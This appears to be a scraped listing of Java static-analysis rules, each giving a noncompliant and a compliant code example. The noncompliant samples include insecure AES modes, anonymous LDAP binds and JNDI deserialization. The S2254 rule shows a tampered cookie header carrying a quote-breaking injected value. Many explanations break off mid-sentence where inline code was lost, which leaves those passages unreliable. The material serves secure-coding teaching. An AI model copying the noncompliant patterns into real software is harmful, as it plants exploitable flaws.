SimpleEmail(); email.setSmtpPort(465); email.setAuthenticator(new DefaultAuthenticator(username, password)); email.setSSLOnConnect(true); email.setSSLCheckServerIdentity(true); // Compliant email.send(); JavaMail's example: Properties props = new Properties(); props.put("mail.smtp.host", "smtp.gmail.com"); props.put("mail.smtp.socketFactory.port", "465"); props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory"); props.put("mail.smtp.auth", "true"); props.put("mail.smtp.port", "465"); props.put("mail.smtp.ssl.checkserveridentity", true); // Compliant Session session = Session.getDefaultInstance(props, new javax.mail.Authenticator() { protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication("username@gmail.com", "password"); } }); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4432 |
The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Some combinations are not secured:
In both cases, Galois/Counter Mode (GCM) with no padding should be preferred. This rule raises an issue when a Noncompliant Code ExampleCipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // Noncompliant Cipher c2 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // Noncompliant Compliant SolutionCipher c = Cipher.getInstance("AES/GCM/NoPadding"); See
DeprecatedThis rule is deprecated; use S5542 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2253 |
This rule allows banning certain methods. Noncompliant Code ExampleGiven parameters:
String name; name.replace("A","a"); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1163 |
Throwing an exception from within a finally block will mask any exception which was previously thrown in the Noncompliant Code Exampletry { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ throw new RuntimeException(); // Noncompliant; masks the IllegalArgumentException } Compliant Solutiontry { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2252 |
If a Noncompliant Code Examplefor (int i = 10; i < 10; i++) { // Noncompliant // ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4433 |
An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method. Simple authentication in LDAP can be used with three different mechanisms:
Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged. Noncompliant Code ExampleThis rule raises an issue when an LDAP connection is created with // Set up the environment for creating the initial context Hashtable<String, Object> env = new Hashtable<String, Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial"); // Use anonymous authentication env.put(Context.SECURITY_AUTHENTICATION, "none"); // Noncompliant // Create the initial context DirContext ctx = new InitialDirContext(env); Compliant Solution// Set up the environment for creating the initial context Hashtable<String, Object> env = new Hashtable<String, Object>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial"); // Use simple authentication env.put(Context.SECURITY_AUTHENTICATION, "simple"); env.put(Context.SECURITY_PRINCIPAL, "cn=S. User, ou=NewHires, o=JNDITutorial"); env.put(Context.SECURITY_CREDENTIALS, getLDAPPassword()); // Create the initial context DirContext ctx = new InitialDirContext(env); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2131 |
"Boxing" is the process of putting a primitive value into a primitive-wrapper object. When that's done purely to use the wrapper class'
Noncompliant Code Exampleint myInt = 4; String myIntString = (new Integer(myInt)).toString(); // Noncompliant; creates & discards an Integer object myIntString = Integer.valueOf(myInt).toString(); // Noncompliant Compliant Solutionint myInt = 4; String myIntString = Integer.toString(myInt); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example// === javax.servlet === import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletRequest; public class JavaxServlet { void aServiceMethodSettingCookie(HttpServletRequest request, HttpServletResponse response, String acctID) { Cookie cookie = new Cookie("userAccountID", acctID); // Sensitive response.addCookie(cookie); // Sensitive } } // === javax.ws === import java.util.Date; import javax.ws.rs.core.Cookie; import javax.ws.rs.core.NewCookie; class JavaxWs { void jaxRsCookie(String comment, int maxAge, boolean secure, Date expiry, boolean httpOnly, String name, String value, String path, String domain, int version) { Cookie cookie= new Cookie("name", "value"); // Sensitive new NewCookie(cookie); // Sensitive new NewCookie(cookie, comment, maxAge, secure); // Sensitive new NewCookie(cookie, comment, maxAge, expiry, secure, httpOnly); // Sensitive new NewCookie(name, value); // Sensitive new NewCookie(name, value, path, domain, version, comment, maxAge, secure); // Sensitive new NewCookie(name, value, path, domain, version, comment, maxAge, expiry, secure, httpOnly); // Sensitive new NewCookie(name, value, path, domain, comment, maxAge, secure); // Sensitive new NewCookie(name, value, path, domain, comment, maxAge, secure, httpOnly); // Sensitive } } // === java.net === import java.net.HttpCookie; class JavaNet { void httpCookie(HttpCookie hc) { HttpCookie cookie = new HttpCookie("name", "value"); // Sensitive cookie.setValue("value"); // Sensitive } } // === apache.shiro === import org.apache.shiro.web.servlet.SimpleCookie; class ApacheShiro { void shiroCookie(SimpleCookie cookie) { SimpleCookie sc = new SimpleCookie(cookie); // Sensitive cookie.setValue("value"); // Sensitive } } // === Play === import play.mvc.Http.Cookie; import play.mvc.Http.CookieBuilder; class Play { void playCookie() { CookieBuilder builder = Cookie.builder("name", "value"); // Sensitive builder.withName("name") .withValue("value") // Sensitive .build(); } } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4551 |
Testing equality of an enum value with - provides the same expected comparison (content) as - is more null-safe than equals() - provides compile-time (static) checking rather than runtime checking For these reasons, use of "==" should be preferred to Noncompliant Code Examplepublic enum Fruit { APPLE, BANANA, GRAPE } public enum Cake { LEMON_TART, CHEESE_CAKE } public boolean isFruitGrape(Fruit candidateFruit) { return candidateFruit.equals(Fruit.GRAPE); // Noncompliant; this will raise an NPE if candidateFruit is NULL } public boolean isFruitGrape(Cake candidateFruit) { return candidateFruit.equals(Fruit.GRAPE); // Noncompliant; always returns false } Compliant Solutionpublic boolean isFruitGrape(Fruit candidateFruit) { return candidateFruit == Fruit.GRAPE; // Compliant; there is only one instance of Fruit.GRAPE - if candidateFruit is a GRAPE it will have the same reference as Fruit.GRAPE } public boolean isFruitGrape(Cake candidateFruit) { return candidateFruit == Fruit.GRAPE; // Compliant; compilation time failure } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1165 |
Exceptions are meant to represent the application's state at the point at which an error occurred. Making all fields in an
This will enable developers to quickly understand what went wrong. Noncompliant Code Examplepublic class MyException extends Exception { private int status; // Noncompliant public MyException(String message) { super(message); } public int getStatus() { return status; } public void setStatus(int status) { this.status = status; } } Compliant Solutionpublic class MyException extends Exception { private final int status; public MyException(String message, int status) { super(message); this.status = status; } public int getStatus() { return status; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2134 |
According to the Java API documentation:
By definition, extending the Thread class without overriding the Noncompliant Code Examplepublic class MyRunner extends Thread { // Noncompliant; run method not overridden public void doSometing() {...} } ExceptionsIf class MyThread extends Thread { // Compliant - calling super constructor with a Runnable MyThread(Runnable target) { super(target); // calling super constructor with a Runnable, which will be used for when Thread.run() is executed // ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1166 |
When handling a caught exception, the original exception's message and stack trace should be logged or passed forward. Noncompliant Code Exampletry { /* ... */ } catch (Exception e) { // Noncompliant - exception is lost LOGGER.info("context"); } try { /* ... */ } catch (Exception e) { // Noncompliant - exception is lost (only message is preserved) LOGGER.info(e.getMessage()); } try { /* ... */ } catch (Exception e) { // Noncompliant - original exception is lost throw new RuntimeException("context"); } Compliant Solutiontry { /* ... */ } catch (Exception e) { LOGGER.info(e); // exception is logged } try { /* ... */ } catch (Exception e) { throw new RuntimeException(e); // exception stack trace is propagated } try { /* ... */ } catch (RuntimeException e) { doSomething(); throw e; // original exception passed forward } catch (Exception e) { throw new RuntimeException(e); // Conversion into unchecked exception is also allowed } Exceptions
Because they are part of Java, developers have no choice but to deal with them. This rule does not verify that those particular exceptions are correctly handled. int myInteger; try { myInteger = Integer.parseInt(myString); } catch (NumberFormatException e) { // It is perfectly acceptable to not handle "e" here myInteger = 0; } Furthermore, no issue will be raised if the exception message is logged with additional information, as it shows that the developer added some context to the error message. try { /* ... */ } catch (Exception e) { String message = "Exception raised while authenticating user: " + e.getMessage(); LOGGER.warn(message); // Compliant - exception message logged with some contextual information } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2254 |
According to the Oracle Java API, the
The session ID it returns is either transmitted in a cookie or a URL parameter so by definition, nothing prevents the end-user from manually updating the value of this session ID in the HTTP request. Here is an example of a updated HTTP header: GET /pageSomeWhere HTTP/1.1 Host: webSite.com User-Agent: Mozilla/5.0 Cookie: JSESSIONID=Hacked_Session_Value'''"> Due to the ability of the end-user to manually change the value, the session ID in the request should only be used by a servlet container (E.G. Tomcat or Jetty) to see if the value matches the ID of an an existing session. If it does not, the user should be considered unauthenticated. Moreover, this session ID should never be logged to prevent hijacking of active sessions. Noncompliant Code Exampleif(isActiveSession(request.getRequestedSessionId()) ){ ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2133 |
Creating an object for the sole purpose of calling Noncompliant Code ExampleMyObject myOb = new MyObject(); // Noncompliant Class c = myOb.getClass(); Compliant SolutionClass c = MyObject.class; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3346 |
Since Noncompliant Code Exampleassert myList.remove(myList.get(0)); // Noncompliant Compliant Solutionboolean removed = myList.remove(myList.get(0)); assert removed; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2257 |
The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has
been protected. Standard algorithms like This rule tracks creation of Recommended Secure Coding Practices
Sensitive Code ExampleMyCryptographicAlgorithm extends MessageDigest { ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4434 |
JNDI supports the deserialization of objects from LDAP directories, which is fundamentally insecure and can lead to remote code execution. This rule raises an issue when an LDAP search query is executed with Noncompliant Code ExampleDirContext ctx = new InitialDirContext(); // ... ctx.search(query, filter, new SearchControls(scope, countLimit, timeLimit, attributes, true, // Noncompliant; allows deserialization deref)); Compliant SolutionDirContext ctx = new InitialDirContext(); // ... ctx.search(query, filter, new SearchControls(scope, countLimit, timeLimit, attributes, false, deref)); See
|